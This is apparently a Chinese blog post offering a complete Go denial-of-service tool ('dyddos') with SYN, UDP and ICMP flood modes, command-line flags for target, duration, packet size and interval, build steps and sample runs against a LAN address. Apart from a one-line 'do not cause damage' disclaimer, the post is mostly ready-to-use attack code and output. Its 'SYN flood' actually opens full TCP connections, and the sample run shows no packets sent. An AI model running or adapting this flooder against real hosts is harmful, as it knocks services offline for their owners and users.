go DDOS攻击测试

429 阅读3分钟

简介

对于常见的DDOS攻击,已经有很多现有的发包工具,那用go语言进行构包会有什么效果呢?在此声明:这里只是从go进行报文请求的角度来学习,不要去搞破坏。

main.go

package main

import (
	"crypto/rand"
	"flag"
	"fmt"
	"log"
	"net"
	"os"
	"sync/atomic"
	"time"

	"golang.org/x/net/icmp"
	"golang.org/x/net/ipv4"
)

type AttackMode int

const (
	MODE_SYN AttackMode = iota
	MODE_UDP
	MODE_ICMP
)

type Config struct {
	Target     string
	Port       int
	Duration   int
	Mode       AttackMode
	PacketSize int
	Interval   int
	Count      int64
	Verbose    bool
}

var (
	packetsSent uint64
	packetsRecv uint64
)

func main() {
	config := parseFlags()

	// 显示启动信息
	fmt.Printf("开始对 %s 进行测试\n", config.Target)
	fmt.Printf("模式: %v, 端口: %d, 包大小: %d bytes\n",
		getModeString(config.Mode), config.Port, config.PacketSize)

	// 启动统计信息打印
	go statsReporter()

	// 设置结束时间
	endTime := time.Now().Add(time.Duration(config.Duration) * time.Second)

	// 根据不同模式启动攻击
	switch config.Mode {
	case MODE_SYN:
		synFlood(config, endTime)
	case MODE_UDP:
		udpFlood(config, endTime)
	case MODE_ICMP:
		icmpFlood(config, endTime)
	}
}

func parseFlags() *Config {
	config := &Config{}

	flag.StringVar(&config.Target, "target", "", "目标主机地址")
	flag.IntVar(&config.Port, "port", 80, "目标端口")
	flag.IntVar(&config.Duration, "time", 10, "持续时间(秒)")
	mode := flag.String("mode", "syn", "攻击模式 (syn/udp/icmp)")
	flag.IntVar(&config.PacketSize, "size", 64, "数据包大小")
	flag.IntVar(&config.Interval, "interval", 1, "发包间隔(ms)")
	flag.BoolVar(&config.Verbose, "verbose", false, "显示详细信息")

	flag.Parse()

	if config.Target == "" {
		fmt.Println("请指定目标主机地址 (-target)")
		os.Exit(1)
	}

	switch *mode {
	case "syn":
		config.Mode = MODE_SYN
	case "udp":
		config.Mode = MODE_UDP
	case "icmp":
		config.Mode = MODE_ICMP
	default:
		fmt.Println("无效的攻击模式,请使用: syn, udp 或 icmp")
		os.Exit(1)
	}

	return config
}

func getModeString(mode AttackMode) string {
	switch mode {
	case MODE_SYN:
		return "TCP SYN Flood"
	case MODE_UDP:
		return "UDP Flood"
	case MODE_ICMP:
		return "ICMP Flood"
	default:
		return "Unknown"
	}
}

func synFlood(config *Config, endTime time.Time) {
	for time.Now().Before(endTime) {
		go func() {
			conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", config.Target, config.Port))
			if err != nil {
				if config.Verbose {
					log.Printf("TCP 连接失败: %v\n", err)
				}
				return
			}
			defer conn.Close()

			// 发送随机数据
			data := make([]byte, config.PacketSize)
			rand.Read(data)
			conn.Write(data)

			atomic.AddUint64(&packetsSent, 1)
		}()

		time.Sleep(time.Duration(config.Interval) * time.Millisecond)
	}
}

func udpFlood(config *Config, endTime time.Time) {
	addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", config.Target, config.Port))
	if err != nil {
		log.Fatal(err)
	}

	conn, err := net.DialUDP("udp", nil, addr)
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	data := make([]byte, config.PacketSize)
	for time.Now().Before(endTime) {
		rand.Read(data)
		_, err := conn.Write(data)
		if err != nil {
			if config.Verbose {
				log.Printf("UDP 发送失败: %v\n", err)
			}
			continue
		}

		atomic.AddUint64(&packetsSent, 1)
		time.Sleep(time.Duration(config.Interval) * time.Millisecond)
	}
}

func icmpFlood(config *Config, endTime time.Time) {
	conn, err := net.DialIP("ip4:icmp", nil, &net.IPAddr{IP: net.ParseIP(config.Target)})
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	data := make([]byte, config.PacketSize)
	for time.Now().Before(endTime) {
		rand.Read(data)

		// 构造 ICMP 包
		msg := &icmp.Message{
			Type: ipv4.ICMPTypeEcho,
			Code: 0,
			Body: &icmp.Echo{
				ID:   os.Getpid() & 0xffff,
				Seq:  1,
				Data: data,
			},
		}

		msgBytes, err := msg.Marshal(nil)
		if err != nil {
			if config.Verbose {
				log.Printf("ICMP 包构造失败: %v\n", err)
			}
			continue
		}

		if _, err := conn.Write(msgBytes); err != nil {
			if config.Verbose {
				log.Printf("ICMP 发送失败: %v\n", err)
			}
			continue
		}

		atomic.AddUint64(&packetsSent, 1)
		time.Sleep(time.Duration(config.Interval) * time.Millisecond)
	}
}

func statsReporter() {
	ticker := time.NewTicker(time.Second)
	defer ticker.Stop()

	var lastSent uint64

	for range ticker.C {
		currentSent := atomic.LoadUint64(&packetsSent)
		pps := currentSent - lastSent
		fmt.Printf("\r发送包数: %d, 速率: %d 包/秒", currentSent, pps)
		lastSent = currentSent
	}
}

运行

go build -o dyddos main.go //编译

ICMP攻击

  • -target 指定目标
  • -port 指定端口
  • -mode 指定模式
  • -time 指定时长
  • -size 指定包长
  • -interval 指定发包间隔
[root@localhost dyddos]# ./dyddos -target  192.168.24.70 -mode icmp -time 5 -size 48 -interval 100
开始对 192.168.24.70 进行测试
模式: ICMP Flood, 端口: 80, 包大小: 48 bytes
发送包数: 50, 速率: 10 包/秒

UDP攻击

[root@localhost dyddos]# ./dyddos -target  192.168.24.70 -port 123 -mode udp -time 5 -size 48 -interval 100
开始对 192.168.24.70 进行测试
模式: UDP Flood, 端口: 123, 包大小: 48 bytes
发送包数: 50, 速率: 10 包/秒

SYN攻击

[root@localhost dyddos]# ./dyddos -target  192.168.24.70 -port 80 -mode syn -time 5 -size 48 -interval 100
开始对 192.168.24.70 进行测试
模式: TCP SYN Flood, 端口: 80, 包大小: 48 bytes
发送包数: 0, 速率: 0 包/秒

总结

  • flag进行命令参数解析
  • time.NewTicker创建定时器进行统计数据输出
  • atomic进行发送报文数量统计
  • net.Dial、net.DialUDP、net.DialIP创建不同协议连接
  • golang.org/x/net/icmp获取头结构icmp.Message,Marshal将结构体转为二进制
  • conn.Write进行报文发送